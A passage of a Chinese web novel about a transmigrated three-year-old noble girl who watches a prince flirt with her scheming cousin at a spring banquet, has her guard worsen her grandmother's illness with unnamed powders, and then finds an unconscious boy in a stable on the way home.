阿沅毫无防备,只觉得身子一轻便落入一个带着清冽香气的怀抱,她舒服地往后靠了靠,两只小胖腿自然而然地悬空晃荡起来,惬意极了。
正探头探脑望向越来越近的人群时,后颈忽然被人轻轻吸了一口,随即听到潇潇带着笑意的低语:“嗯,一股奶香味儿,甜滋滋的。”
阿沅缩了缩脖子,觉得痒痒的,扭过头对潇潇咧开嘴傻笑,又转回去专心盯着前方。
大长公主仪仗雍容,所过之处,无论站着的、坐着的贵女们都纷纷敛衽行礼,姿态优美。
阿沅见状,也在潇潇怀里挣扎着想滑下去站好行礼,却被身后两条有力的胳膊稳稳圈住,动弹不得。
她只好就着被抱住的姿势,努力拱起小手,奶声奶气却格外响亮地喊道:“长公主姨姨安!”她童音清亮,毫无拘束,在这一片刻意放低的婉转问安声中显得格外突兀。
声音一出,果然引得众位夫人侧目望来,连大长公主也闻声转头,目光落在她圆滚滚的小脸上,慈和地挥了挥手,唇角含笑,表示看见了这可爱的小人儿。
“瞧见没?那个穿白色长衫、走在众公子前面就是我表哥,季文纪世子。他右边那个穿着宝蓝底子暗金纹袍子的,是三皇子。”
潇潇压低声音,凑在阿沅耳边介绍,气息呵得阿沅耳朵微痒。
她先是指点着大长公主近旁的几位雍容华贵的夫人,其中一位环佩叮当、气度非凡的便是宫中的闲贵妃娘娘。
只是夫人众多,有的已翩然走过,阿沅看得眼花缭乱,实在记不住这许多。
倒是潇潇着重介绍的纪世子和三皇子,她依言多瞧了几眼。两人都是十六七岁年纪,身量颀长,个头相仿。
但长相气质却迥异:季世子身着月白长衫,面容清俊,眉眼疏朗,气质温润中透着矜贵,行走间目不斜视,姿态挺拔如竹,颇有乃父当年状元郎的风仪。
而三皇子虽衣饰华贵,但面容确实平平,五官略显局促,鼻梁不高,眼神游移,走路时不像世子那般端方,而是微微晃着身子,嘴里似乎还哼着不成调的小曲,眼珠子左顾右盼,像是在花丛中搜寻着什么有趣的猎物,那神态让阿沅莫名不喜。
“三皇子看着很讨厌!”阿沅心中有了定论,不自觉就把嘀咕说出了口。
话音刚落,她立刻意识到不妥,慌忙用两只小胖手紧紧捂住自己的嘴巴,圆眼睛瞪得大大的,带着一丝慌乱转头看向潇潇,生怕给姐姐惹祸。
“呵呵,你这小机灵鬼,还会看相了!”后脑勺被潇潇用指节轻轻敲了一记,那力道轻得像羽毛拂过。
潇潇偏中性的嗓音里满是笑意与毫不掩饰的宠溺,甚至还带着点促狭的意味,仿佛很赞同她的童言无忌。
“本来就是嘛,”得到默许般的回应,阿沅的胆子立刻肥了起来,凑到潇潇耳边,揽过她的脖子,用气音小小声地补充,语气更加乖张。
“人模狗样!”这四个字她说得有点拗口,但努力模仿着不知从哪里听来的词儿,配上她一脸认真的小表情,反差强烈。
两群人渐行渐远,只留下绰约的背影和淡淡的香气。贵女们有的悄悄跟了上去,希望能在夫人们面前多露露脸;有的则四散开来,或独自赏花,或三两结伴。
但更多的则是聚拢到了不远处一座临着荷花池的敞亮廊坊里,那里早已备好了清茶与各式精巧点心。
“阿沅饿不饿?渴不渴?”潇潇把阿沅放下地,看她粉嫩的嘴唇因奔跑嬉戏而微微发干,也不等她回答,便自作主张道:“
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走,咱们找好吃的去。”
她拉着阿沅,却不是往贵女云集的荷花池廊坊去,而是径直走向另一侧专门接待男宾的区域。
那边也设了桌椅,离廊坊不过十几步远,旁边还有一座嶙峋的假山作为隔挡,位置颇为巧妙。
潇潇边走边自顾自地解释,语气里带着了然与调侃:“他们刚从前院喝了茶过来,瞧见没?这会儿心思可都不在吃食上,都忙着观花、‘赏景’去了呢。”
这意味深长的“赏景”二字,让阿沅抬起小脑袋,乌溜溜的眼珠转了转,若有所思地看了潇潇一眼。
然后突然冒出一句:“潇潇姐姐……好漂亮。”这话她说得有点慢,带着孩童特有的、仔细打量后的判断意味。
潇潇被她这突兀的“夸赞”和那审视的小眼神逗得一愣,随即捂着脸失笑,略为粗壮的屈指轻轻刮了下她的鼻子:“你这小丫头,这眼神到底是夸我呢,还是琢磨什么呢!”
阿沅这话夸得确实有点“突如其来”,甚至细品之下带着点“违心”的安慰意味。
其实平心而论,潇潇姐姐长得虽非倾国倾城的柔美,却别有一番风致:高而饱满的额角,五官清晰立体,略粗而尾端微挑的眉毛下是一双神采奕奕的丹凤眼,鼻梁高挺,唇形偏薄。
不笑时轻抿着,天然带着一股子飒爽的英气和疏离的贵气。
只是……她脸上的妆容着实有些“特别”,粉黛涂抹得略显厚重且不甚均匀,颜色搭配也突兀,生生将那分英气掩去了大半,反添了几分俗艳与不协调。
孟沅看在眼里,心底竟生出一丝叹息和怜悯来——方才听她称大长公主为姑母,那必是皇亲国戚了,这般打扮,怕是身不由己,不得宠爱,或是庶出,或是幼年丧母,才被人故意妆扮成这般出来……
哎,她模糊觉得潇潇姐姐就跟没爹没娘的孩子一样,有点可怜。既然姐姐对她这般亲切,她自然也要对姐姐好。
“小脑瓜里想什么呢?眼神都飘了。”潇潇见她忽然走神,一副小大人般沉思的模样,忍不住好笑,轻轻拍了拍她的背。
“快点过去。等那些‘赏景’的公子哥儿们逛回来,咱们可就没法吃得这么自在啦。”
见她迈着小短腿走得慢,潇潇干脆再次俯身,一把将她抱起,脚步轻快地朝着摆满点心茶果的桌案小跑而去。
她的步伐又快又稳,带着一种独特的轻盈感,让怀里的阿沅仿佛乘着风,体验着一种不亚于被绿果抱着飞檐走壁的畅快,不由得开心地搂紧了潇潇的脖子。
第96章 可要看一台好戏?
这边,阿沅和潇潇正坐在雕花小圆桌旁,津津有味地品尝着各色精巧的美食。
阿沅一双乌溜溜的大眼睛几乎粘在了那些做成花瓣、小动物形状的点心上,小手抓着一块淡紫色的桃花酥,啊呜就是一大口,腮帮子立刻鼓得像只偷藏了坚果的小松鼠,粉嫩的嘴唇边还沾着些许碎屑,模样娇憨可爱极了。
潇潇看着她这副小馋猫的样子,眼里漾满了温柔的笑意,她伸出纤白的手指,用柔软的指腹轻轻拂去阿沅嘴角的糕屑,动作轻柔。
“阿沅,糕点可好吃?这紫色的桃花酥,还要再来一块么?”潇潇的声音如山间清泉,悦耳动听。
阿沅闻言,抬起小脸,眉眼弯成了月牙儿,虽然满足地拍了拍自己圆滚滚的小肚子,奶声奶气地宣告:“饱了,肚肚装不下了。”
可那亮晶晶的眼神,仍旧恋恋不舍地在几碟点心上打转。
“那便不吃了,省得积食。”潇潇看在眼里,指尖点了点她的小鼻尖,柔声许诺,“待会儿回去时,姐姐让姑母每样都给你打包一碟带上,可好?”
阿沅顿时受宠若惊,开心得笑出了不止八颗整齐的小米牙,那没心没肺的灿烂笑容,仿佛能将周围清冷的空气都染上甜意,她扑闪着长睫毛,甜甜道:“潇潇姐姐太好了!”
那边,孟绫的处境却截然不同。
她并未因贵女们有意无意的疏离和轻蔑目光而黯然退场,只是那份赏花的闲情雅致早已荡然无存,也不敢再混迹于贵女圈中平白受辱。
她脚步略显迟疑仓促,落了下乘,待旁人或三两结伴漫步花间,或围坐亭中品茗谈笑时,她环顾四周,最终选择了廊坊尽头那最僻静无人之处。
她先是倚着栏杆,望了一会儿荷花池中冰雪初融、尚显寂寥的湖面,然后默默挪到一株盛放的梨花树下。
时而低头,凝睇着地上那些未被及时清扫、已然零落成泥的花瓣,纤眉轻蹙,流露出一丝惋惜;时而又仰起脸,望向枝头那些含苞待放或初绽新蕊的花骨朵,嘴角勉强扯出一抹极淡、带着些许期盼的弧度。
此情此景,恰是“花下看美人”。一袭素白如雪的披风裹着她纤细窈窕的身姿,轻蹙的眉尖,眼中那似有若无、盈盈欲滴的泪光,构成了一幅我见犹怜的画面。
这份刻意或无意的柔弱,果然精准地触动了某些一直在场中逡巡、寻找单身“猎物”的有心人的心弦。
“阿沅,看那里,”潇潇忽然压低声音,带着几分孩童式的狡黠与分享秘密的兴奋,指向不远处假山背后、梨花掩映的一角,“可想去偷看那儿的一出好戏?”
阿沅顺着她指的方向望去,一眼就瞧见了那身即使在人群中亦十分扎眼的宝蓝色玄锦衣袍,小嘴立刻不高兴地撇了撇,心里的抗拒明明白白写在脸上:“三皇子?不去!”
那个光看就觉讨厌的家伙,她才不要靠近。
“你再看仔细些,另一个是谁?”潇潇循循善诱。
坐在旁边空桌、一直警醒地留意着小姐和这位过分热络的贵女一举一动的绿果,此时也伸长了脖子望去,看清那人时心中异动。
低声插话道:“小姐,是二房那位绫小姐。”她生怕自家年纪小的小姐看不真切,又见左右并无旁人注意,便补充了一句,语气里带着不甘,“她居然还能来这种场合……早知奴婢就……”
后面那句“就多抽她几下”虽未出口,但眼神里的愤愤之意已表露无遗。
说完,她迅速抬眼瞥了一下潇潇小姐,试探这位身份不明的贵人对此的反应。
阿
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沅一听是孟绫,立刻来了精神,小身子灵活地从凳子上出溜下来,语气变得异常笃定:“去!去看看!”
她可太了解这位堂姐了,小说里她心比天高,恨不得将阿沅这个正经的侯府嫡女踩进泥里,一心只想攀附权贵。
小说里大房惨淡收场后,孟绫确实如愿进了宫,但具体嫁了谁,阿沅的记忆有些模糊。
难道……就是眼前这个风流成性的三皇子?这么快就勾搭上了?既然有现成的戏台子,不看白不看。
“跟我来,往高处去。那儿看得真切,听得也清楚。”潇潇似乎对这里的地形了如指掌。
阿沅本以为只是绕到假山后面偷听,谁知潇潇牵起她的手,径直朝着假山旁侧走去。这廊坊沿湖蜿蜒,假山背后竟倚着一处微微隆起的高坡,茂密的花木间藏着一条隐秘的石阶。
潇潇走在前面,时不时回身拉一把腿短又有些圆滚滚的阿沅。
绿果紧随其后,心里直想干脆把小姐夹在腋下飞上去省事,但碍于潇潇小姐的照顾,只能一边警惕四周,一边在阿沅爬台阶时,用手轻轻托一下她的小屁股,助她一臂之力。三人很快顺利登顶。
石阶尽头是一处小巧的平台,四周树木环绕,外围设有木制围栏,环境清幽。平台中央,两棵大树之间固定着一张小小的四方石桌,桌面刻着棋盘格子,旁边是四个同样用石头凿成的小圆凳。
潇潇向下望了一眼,估摸着位置,一把将阿沅抱起来,稳稳放在最靠近围栏、视野最佳的那个石凳上。“坐在这儿,保管下面说什么、做什么都一清二楚。”
阿沅双手扒着冰凉的木栏杆,迫不及待地往下瞧。先是近在咫尺、如云似雪的梨花簇拥着映入眼帘,透过花枝,假山旁的情形便一目了然。
第一卷 第97章 癞蛤蟆配屎壳郎——绝配
只见三皇子萧衡眯着一双色眯眯的眼睛,嘴角噙着一抹玩味的笑,几乎已将孟绫逼到了梨树树干上。
“三……三殿下!”孟绫显然没料到自己的魅力非常,“机缘”来得如此之快,而且对象竟是身份尊贵的三皇子。
惊喜瞬间冲昏了头脑,但毕竟年纪尚小,未满十四,面对男子如此近距离的压迫,除了那份渴望被青睐的激动,心底仍本能地生出几分怯意,想要维持住女儿家该有的矜持。
她慌慌张张地向后退去,直至脊背抵住了粗糙的树干,再无退路,才不得不停下,胸口微微起伏。
“妹妹是哪家的美人儿?看着很是面生。”萧衡步步紧逼,目光在她脸上身上流连,带着毫不掩饰的审视与玩味,语气刻意放得温柔,眼底却闪烁着猎人看见合意猎物时那种势在必得的光芒。
“臣女……臣女,”孟绫的声音细若蚊蚋,带着颤音,“安平侯府嫡长女孟绫,见过三皇子殿下。”嫡长女三字说得尤为慎重,刻意加重了语气。
她想要福身行礼,奈何萧衡离得太近,几乎呼吸可闻,连弯腰的空隙都没有。
她只能慌乱地低下头。原本因扑了脂粉而显得过于白皙的脸颊,此刻迅速飞上两抹羞怯的红霞,一直蔓延到耳垂。
那副欲语还休、欲拒还迎的姿态,连在上头偷看的孟沅都看得有些发愣,这是要拿小金人的节奏。
“安平侯府?”萧衡的声调略微拔高,似乎透出几分意外,他重复着,追问道,“孟大川……还是孟二泉家的?”
孟绫闻言,眼中飞快闪过一丝挣扎与难堪,犹豫了片刻,才怯生生地、用更低的声音回答:“臣女父亲……是孟二泉。”语气里虽努力想维持镇定,却仍不免流露出一丝底气不足。
然而,她随即又努力挺直了原本微驼的背脊,仰起脸,对着萧衡绽放出一个自认为最是妩媚动人的笑容,极尽讨好之态。
听到“孟二泉”三个字,萧衡那原本已经抬起、几乎要抚上孟绫脸颊的手,在空中微妙地停顿了一下。他眼底深处掠过一抹不易察觉的、复杂难辨的情绪,或许是权衡,或许是索然,又或许兼而有之。
最终,那只手只是转而伸向她肩头,漫不经心地弹落了一片不知何时沾上的梨花瓣。
他的喉结上下滚动了一下,仿佛咽下了什么话,只从唇间轻轻呼出一口气,意味不明地说:“孟绫?嗯,本殿下……记住你了。”
说完,竟不再留恋,干脆利落地转身,朝着另一处花木繁盛、看似更僻静的地方走去,继续他的“狩猎”之旅。
“走了?居然就这么走了?”趴在栏杆上的阿沅不敢置信地瞪大了眼睛,小手疑惑地拽了拽身旁潇潇姐姐的衣袖,仰起小脸,眼里满是困惑与不解。
这戏码,跟她预想的“私相授受、拉扯不清”的场面,差距有点大啊!
失望!好失望!潇潇看到的就是她这样的小表情。
“你这小机灵鬼儿。”潇潇被她这副小大人似的、充满怀疑的表情逗乐了。
忍不住伸出一根玉指,轻轻点了点她光洁的额头,又爱怜地捏了捏她粉嘟嘟、手感极佳的脸颊肉,反问道:“那阿沅想看的是什么戏?可是想看你那位堂姐当场出丑,狼狈不堪?”
若是这小丫头真想看孟绫当众丢个大丑,比如摔个跤扯破裙子什么的,她自有办法不着痕迹地安排,保管比现在精彩十倍。
原本就是这么计划的。
阿沅的视线追随着萧衡走向远处的背影,又扫了一眼树下似乎有些失落、又强自振作的孟绫,忽然语出惊人,小脑袋瓜里蹦出了一个奇妙的比喻:“他们……倒是挺……配的。”
语气里带着一种超乎年龄的笃定。
这话让潇潇微微一怔,随即眼底的笑意更深,刮目相看之余,仍忍不住想逗逗她:“哦?哪里配了?说来姐姐听听。”
阿沅皱着小鼻子,一脸嫌弃,用她那奶声奶气却努力咬字清晰的调子,给出了一个令人绝倒的答案:“癞蛤蟆,屎壳郎——”
她顿了顿,加重语气,吐出最后两个掷地有声的字,“绝配!”
“噗——”潇潇终于忍不住轻笑出声,那笑容灿烂如花,明媚动人。她揉了揉阿沅的顶发,“那……看在阿沅这么说的份上,这次就先放她一马?”
阿沅点了点小脑袋,黑葡萄似的大眼睛里闪烁着与她天真面容不符的、带着一丝狡黠的认真光芒,语气坚定地说:“不能洗得太快。”
意思是,教训还是要给的,只是不必急于一时,或者,要用更“合适”的方式。
绿果在一旁听得心惊肉跳,暗暗扶额:我的小姐哎!您才三岁,怎么说话像个小人精似的?旁边这位潇潇小姐是敌是友还摸不清呢,怎么就能把心里话说得这么透!
她紧张地观察着潇潇的神色,却见这位身份尊贵的小姐非但没有丝毫介意或不悦,反而颇为赞同地点了点头,看着自家小姐的眼神里,除了默许,便是那种近乎纵容的宠溺,实在看不出半分坏心。
绿果心头那根紧绷的弦,这才稍稍放松了些许,同时也不由暗自纳闷:小姐是什么时候,结交了这样一位既厉害又似乎真心待她的知心大姐姐的?
而此时依然正愣在梨花树下的孟绫,还因三皇子殿下在她肩头轻抚了一下,又加一句“孟绫,本殿下记住你了”,而沉浸在自己的美梦里。
而远远看着这场戏的紫烟,从未上前半步,也没制止之心。只想着把眼前这一幕尽快告诉主子,由她来定夺。
第一卷 第98章 心思歹毒的闺女
那场春日宴,看似和风细雨,实则暗藏机锋,但很快就过去了,阿沅也确实打包回来好吃的糕点。
她没有因为潇潇姐姐对她好而太过留恋,只一句孩童无意的话作了告别:“窝再不回去,杨老夫子用戒尺打,很疼的。”
这一次,也可说是三皇子为孟绫挡了一灾,才没被人下了暗手,不然孟绫怕是早已当众出乖露丑,名声扫地。
这背后的阴私算计,三皇子本人毫不知情,孟绫更是蒙在鼓里,只当是寻常的殷勤回护。
阿沅更不知道,居然有人会因为她而出头,想要算计那恶毒的堂姐。
然而,正是这份“不知”,让某些人念头生了根。
自那日后,三皇子殿下“清朗”的眉目、“温雅”的谈吐,乃至他衣袖拂过时淡淡的龙涎香气,都反复在孟绫心底萦回。
她独坐闺中,对着铜镜抚弄发钗,越想越觉那日的举动别有深意——他为何偏偏替我拂去了花瓣?为何看向我时眼角似有笑意?一颗芳心便在这反复咀嚼中暗自沦陷,将无情男人的猎艳之举,解读成了蓄意为之的倾慕。
焦氏那头,更是添柴加火。贴身丫鬟紫烟将那日的情景,从三皇子的一个眼神到孟绫颊边飞起的红晕,都掰开揉碎、绘声绘色地禀报了一遍。
焦氏斜倚在贵妃榻上,指尖慢捻着一串佛珠,越听嘴角那抹意味不明的笑意越深。
她本就善于在蛛丝马迹中寻找可乘之机,如今更是笃信:这三皇子,怕是真的对孟绫有了几分意思。
“你说三殿下看上了我们家孟绫?”夜深人静,红绡帐暖,一番云雨过后,焦氏伏在孟二泉汗津津的胸膛上,吐气如兰,将这番猜测化作枕边软语。
孟二泉闻言,先是一愣,随即狂喜如浪潮般淹没了理智,竟忍不住“吧嗒”一声重重亲在焦氏脂粉微晕的脸上,搂着她腰肢的手臂又收紧了几分,仿佛搂住的不是妻妾,而是即将到手的锦绣前程。
“我的好娇娇!若真如此,何愁侯位不到我手?何愁将来不飞黄腾达?”他喘息着,眼前已浮现出自己身着侯爵冠服、皇子岳丈把酒言欢的幻景,甚至想到了定不会缺失的从龙之功。
激动之下,他少不得一番嘱咐,气息尚未平复:“往后……往后你多疼着点绫儿。衣裳首饰,拣时兴的、贵气的置办,别吝啬银钱。多带她出去见见世面,在那些夫人太太面前,给她做足脸面。至于嫁妆嘛……”
他略一沉吟,眼底掠过一丝精光,压低声音道,“母亲那里……自有计较。大房含章院里,好东西可都收着呢,总不会亏了绫儿。这些,不必夫人你劳心。”
殊不知,帐内余温未散,焦氏背转过身,脸上那迎合的媚笑早已冰消雪融,换上了一副冰冷讥诮的神情。
她在黑暗中无声地咧了咧嘴:呵,空架子一个,倒会做白日梦!还想拿侯府的陈年旧例来拿捏我?真当我和大房那个面团似的正头夫人一样好摆布?做你的春秋大梦!
不过……这送上门的梯子,不顺着爬上去,岂不可惜?焦氏眼中幽光闪烁,心思已转了几转。
看来,是得寻个由头,往宫里递递话,走动走动了。
有些风,得趁早放出去;有些火,得适时浇点油。
……
孟二泉表面上孝心上还算过得去,确确实实拿着老宋氏那枚沉甸甸的一等诰命夫人腰牌,进宫为她请了两次御医。
每次太医诊脉后,都捻须沉吟,开了对症的方子,用的也都是上好药材,并宽慰说老夫人此乃年高体衰之症,悉心调养便无大碍,虽难根治,却也绝不至急剧恶化。
然而,松鹤院里的实情,却与太医的断言背道而驰。自春日宴后第五日起,从那院子墙根下、角门边,那些惯爱嚼舌根的婆子媳妇口中,零零碎碎传出的消息,一日比一日骇人。
“哎哟,可了不得!老夫人昨夜直说胡话,双手拍得床板砰砰响,说什么‘别过来’、‘不是我’,吓得守夜的丫鬟魂都没了。”
“今儿个更邪乎,早起穿衣时,右边那条胳膊就跟不是自个儿似的,直撅撅吊着,搀扶着下地,脚也画着圈儿,走不出一条直线来。”
“嘴角歪了!早上喂粥,那清涎水止不住地从右边嘴角流下来,擦都擦不及。说话更是呜呜噜噜,含着一口水似的,听不清个数。”
“太医又来扎了金针,摇头说是‘卒中’之症。可这也忒快了!昨日还能勉强说几个字,今儿就只剩下‘啊啊’的份了,眼神都直勾勾的。”
阿沅此刻正坐在一张对她而言略显高大的梨花木圈椅里,一双穿着绣虎头红绸鞋的小胖腿悬在半空,优哉游哉地晃荡着。
她听着孟柒从侯府高墙内带来的最新消息,一双黑葡萄似的大眼睛弯成了月牙儿,粉嘟嘟的脸颊上漾出两个深深的小梨涡,显然开心极了。
她伸出白嫩如藕节的小胳膊,从随身的小荷包里摸索出两个油纸小包,递给肃立一旁的孟柒。
自己则抬起小手,玩着脑袋顶上那两个用红绳扎得紧紧的小揪揪,软糯的嗓音带着雀跃:“柒叔,再加这两包‘好东西’进去,咱们就大功告成啦!”
那口气,仿佛在说往甜粥里再加勺糖般轻松寻常。
看见柒叔点头,她想了一会,又数起了小手指:“我想娘亲,还有爹爹和哥哥啦!”
“还有红袖和莲子,她们肯定想我想出泪来了,也帮我选好人了吧?”
她讲话更利索清晰,不知从哪天开始,哥哥已经不再叫嘚嘚,我也不说窝,一说一长串词。
孟柒双手接过那不起眼却足以让人悄无声息病势加重的药粉,恭敬应道:“是,他们今日去探底,说是山顶的雪也尽融了。小姐再不回去,怕是大人要派人来寻了。
属下今晚便去料理最后这点小事,随后即刻安排返程。”
看着眼前这小祖宗下起手来眼都不眨,偏生长得玉雪可爱,一派天真烂漫,说起回家想亲人时,那掰着手指头细数“娘亲、爹爹、哥哥、红袖、莲子”的模样,又十足是个离不开人的奶娃娃。
孟柒这个刀头舔血多年的汉子,心头竟罕见地软了一块,生出一丝朦胧的向往:将来若能成家,有个这般聪慧灵透,又心思“歹毒”的小闺女,似乎……也挺不错!
第一卷 第99章 回家的路有点慢
回家的路走得有点迟缓,比预想中还要慢上许多。
出城后一路再没看见一点冰渣,仿佛前些日子的严寒只是一场梦。
但冰雪完全消融后的道路却更难走了,车辙与脚印在泥泞中交错,到处都是坑坑洼洼,马车每行一段就忍不住颠簸摇晃,像醉汉似的左右踉跄。
路上行人逐渐多了起来,出行的车马也络绎不绝,比起前些日子冷清萧条的景象,总算有了几分生气。
上次一路来见到的灾民已经难得一见,不知是冻死、饿死了,还是被官府遣返了原籍。
这念头在心头掠过,让人无端有些发闷。
路边的土地已经开始有人在开垦,三三两两的农人弓着腰,一锄一锄地翻着湿润的泥土,可能土地还没完全化开,看着很是吃力。
树木枝条依然瑟缩着,像是还没从寒冬中完全醒来,但也有少数心急的已经冒出了点点绿色的新芽,怯生生地探着头。
“屁股疼,绿果姐姐,我要骑马。”
即使马车铺了三层厚厚的被褥,仍然震得屁股生疼。阿沅皱着小脸,双手捂住后腰,身子随着车厢左右晃荡,活像颗滚来滚去的小豆子。
她终于忍不住了,连走路回家的心都有——哪怕是用她那双小短腿一步一步挪回去,也比在这儿颠成八瓣强。
绿果刚说“好”,声音里带着笑意,已经挑帘。
“来吧!十六叔刚好想练练脚劲。”最靠近车旁的十六回答得干脆利落,已经勒住了马,还冲马车另一边的十五挑衅地扬了扬下巴:“要不要下来练练?看谁跑得稳、跑得快!”
“还怕了你?”十五眉毛一挑,作势就要下马。
“想练,回到庄子再练。”
十五话音刚落,就被赶马车的孟柒一声喝止。
他目光扫过路上来往的人群和车马,声音沉稳:“人多车多,提防着点,避免冲撞。”
他一记眼刀过去,两人都收了声,神色服帖起来。
最终,绿果抱着阿沅上了马。小姑娘一坐到马鞍前面,立刻像只出了笼的小雀儿,眼睛都亮了起来,东张西望,连方才喊疼的事儿都忘了。
十六先是坐在车辕上,但马车颠得他屁股发麻,又想赶马车,孟柒却不惯着他。
最终抵不住,还是跳下来走路兼慢跑,却没有脱离小队伍,始终不远不近地跟在近前。
“走了半天才走了这么点路,今晚怕是要歇在外面了。”
孟柒策马车快走几步,到了绿果和阿沅所骑的马后,望着前方蜿蜒泥泞的土路,语气里透着担忧。
按雪灾前的路况,摸黑出发,到庄子也不过是才入夜的光景。可是现在,路烂成这样,再怎么赶,一天半应该也赶不回去。
“有柒叔你们在,阿沅不怕。”
听出孟柒话里的担忧,阿沅反而转过小脑袋,一本正经地出言安慰。
她脸蛋被风吹得红扑扑的,眼睛却弯成了月牙儿,声音糯糯的,却满是信任。
想着沿路的普通百姓都不担忧,他们几个个个身手了得,就算歇在野外,应该也不用担心——说不定还能堆篝火、看星星呢!
孟沅心里甚至有点偷偷的期待。
露宿而已,前世露营还要花钱买装备,攒了假期才能往城外跑呢!
现在多自在,马车上被褥就有四床,紧一紧,几个人也够分。再不行,半夜里从空间腾出来几床差不多一样的被子,谁又会注意呢?
她想着,嘴角就忍不住翘了起来。
一路回去,中途只路过一个镇子,到的时候并不是在正午,所以也不停歇。
反而是午后,几个人集中在马车里,都囫囵吃了几口带过来的干粮——硬邦邦的饼子,咸香的肉脯,就着热茶管了个饱。
阿沅小口小口地啃着饼子,腮帮子一鼓一鼓的,像只储粮的小松鼠。
孟柒就吩咐下去:“今晚就住在翻过第二座山,坡底的那个庄子。十五,待会你紧走几步,先找家农户借宿。打扫一下,煮个热汤热饭等着我们。”
听说没有露营,阿沅居然有点小失望,小嘴不自觉地嘟了嘟。但想到今晚还能宿在外面,不是闷在车里或是连夜赶路,她又高兴起来。
眼睛一亮,挥着小手大喊了一声:“耶,十五叔快去!”那雀跃的小模样,惹得众人都笑了起来。
不知怎么的,可能是原身以前生活在侯府里,基本没怎么出过门,总有点向往外面的世界。
如今她芯子里又是个爱玩的灵魂,玩性便有些大,不似普通的孩童动辄就想家,还归心似箭。
她倒是觉得,这一路的风霜尘土、颠簸摇晃,都是新鲜有趣的经历。
今天有点太阳,虽还有点冷,但天色依然暗得很快。
等到他们一行下了坡,看见守在路口等他们的十五时,四周已是黑沉沉的了,只有远处零星几点灯火,像是掉在墨盘里的星子。
“就在这头一家,房子还挺好的,家里就个留守的老仆。绿果快点抱小姐下马,热水都烧好了,抹把脸,烤烤火,马上就能吃上饭。”十五迎上来,语速很快地汇报着成果,看向他们时满脸的庆幸。
“幸亏老大有先见之明,若是你不提早走,现在找地儿住怕是都难,搞不齐还得露宿在外面。”十六翻身下马,同时接过孟柒丢过来的缰绳,嘴里啪啦啪啦地拍着马屁。
“绿果姐姐,到了?”
被绿果抱下马,阿沅才恢复了清醒。也许是搂抱在身前暖和,还不再颠簸,刚刚在马背上她已经昏昏欲睡,小脑袋一点一点的,落了地而不自知。
此刻她揉揉眼睛,茫然地看向眼前的农舍。
“到了,小姐吃饱喝足就可以睡。”绿果捏了捏她的鼻尖,重新抱起了她,往屋里走去。
“今晚我还跟绿果姐姐睡。”阿沅提前招呼,两只小胳膊紧紧搂住绿果的脖子,生怕被分去别处。
她知道应该没那么多单间,也没人会同意她单独睡,这段时间下来,也对绿果产生了依赖——这个姐姐话不多,但怀抱又暖又软,夜里还会轻轻拍她的背。
十六恶作剧地看了一眼绿果,哈哈大笑:“叔倒是想抢,可惜抢不到哟!”
绿果只是瞪了他一眼,不说话,嘴角却微微扬起,径直抱着小姐往院里走。
热水洗脸洗手,烫烫的帕子敷在脸上,驱去一身的疲惫和寒凉。几个人坐到冒着热腾腾水汽的热锅子前,就等拴马、伺候马匹还没回来的十六开吃了。
“这种吃法倒是有点像在漠北的军营里。”孟柒看着桌子中间那口咕嘟咕嘟沸腾的大铁锅,饶有兴致地说。
他又转向绿果,叮嘱道:“注意着点小姐,别靠太近了,小心蒸汽烫着。”
第一卷 第100章 这个姐姐我见过
阿沅看着前面的饭桌也觉得好玩极了——就是一个厚重的木桌,中间掏了个大大的圆洞,上面架着一口黑黝黝的铁锅,底下炭火烧得正旺,红彤彤的。
锅子里汤汁浓白,除了剁得很大块的骨头和肉,带皮的土豆只切成了两半,都炖得烂烂的,随着翻滚的汤汁沉沉浮浮,滋滋的香气一个劲儿地往鼻子里钻,让人恨不得立刻拿起筷子大快朵颐。
“十六怎么那么久?我都等不及了。”十五站起身,伸长脖子往门外看,外面黑咚咚的也不见人影,他干脆走出去,往后院马棚方向去找。
绿果看见小姐馋得不行,眼睛瞪得圆溜溜的,一直盯着锅里的肉,小身子还不自觉地往前倾,怕她一个不小心就往前扑,于是把她的小凳子往后挪了挪。
她用长筷子从锅里捞了块肉多又瘦的大骨头,又用一只粗陶碗给晾了一块骨头和一块吸饱了汤汁的土豆。
再把专属阿沅的小巧木筷往她手里一塞,用埋汰的语气笑着说:“不等那货了,小姐,您先吃!小心烫,吹吹。”
阿沅接过筷子,有模有样地对着碗里的食物吹气,腮帮子鼓得圆圆的,肉没入口就直呼“好吃,肯定好吃。”
那副认真又急切的小模样,让人忍俊不禁。
“怎么去了那么久?”孟柒听到门口的响动,眼睛没离开手中正擦拭的短刀,头却微微转向门口,语气里带着一丝不易察觉的关切与催促。
“老大,老大…”十六的声音带着喘息,还有些慌乱,他肩上扛着一个沉甸甸的重物,脚步略显踉跄地跨过门槛。
十五紧跟在他身侧,一手费力地帮着托住那人的腿弯,一手还拿着未及点燃的风灯,两人合力才将这“重物”挪进了略显昏暗的屋内。
孟柒见状立刻站起了身,短刀“嗒”一声轻放在桌面上,他两步跨到近前,锐利的目光在十六、十五和那地上黑乎乎的一团之间迅速扫过,声音沉了下来:“怎么回事?”
“唉,别提了。”十六将肩上的人小心翼翼地卸到地上一侧铺着的干草堆旁,抬手抹了把额角并不存在的汗,更像是抹去心头的晦气。
他喘了口气才解释道:“马棚角落草堆厚实,黑灯瞎火的,谁想得到里头竟蜷着个小乞丐!许是咱们牵马动静惊了他,或是哪匹马不经意踏蹭着了,只听见他闷哼了几声,我拿灯一照,人就没醒过来,怎么叫都没反应。”
“伤着了?”孟柒眉头紧锁,不等十六答完,已迅速转身蹲了下去,伸手将那面朝下趴着的小小身躯轻轻翻转过来。
地上的孩子穿着一身深色衣袍,沾满尘土草屑,乍看狼狈,但孟柒手指拂过衣料时,却察觉到质地细密,绝非粗麻。
他借着屋内火光仔细看了看领口和袖口隐约露出的、以同色丝线精巧织就的云纹回字图案,心头疑云顿起,“这……不像寻常乞丐。会不会是这宅子主人家的小子?或是附近哪户体面人家的孩子走失了?去把看守这宅子的老丈赶紧请来问清楚。”
“我去!”不等十五应声,十六已一阵风似的又冲了出去,显然是想将功补过。
孟柒伸出两指,小心拨开那孩子散乱覆在脸上的头发,露出一张虽然沾染了污迹却依旧看得出底子白皙的脸庞。
他看着那眉眼轮廓,动作微微一顿,喃喃道:“奇怪,这张脸……怎么好像在哪见过?”
阿沅早就被这边的动静吸引了全部注意,手里那根啃了一半、还挂着亮晶晶油光的肉骨头顿时不香了,“啪嗒”一声被她丢回碗里。
她哧溜一下从凳子上滑下来,迈着小短腿就想往前凑。
绿果忙快步跟上,用帕子及时按住她油乎乎的小手擦了擦,然后半是护卫半是约束地将她揽在身侧,柔声道:“小姐别急,脏着呢,咱们站这儿也能看清。”
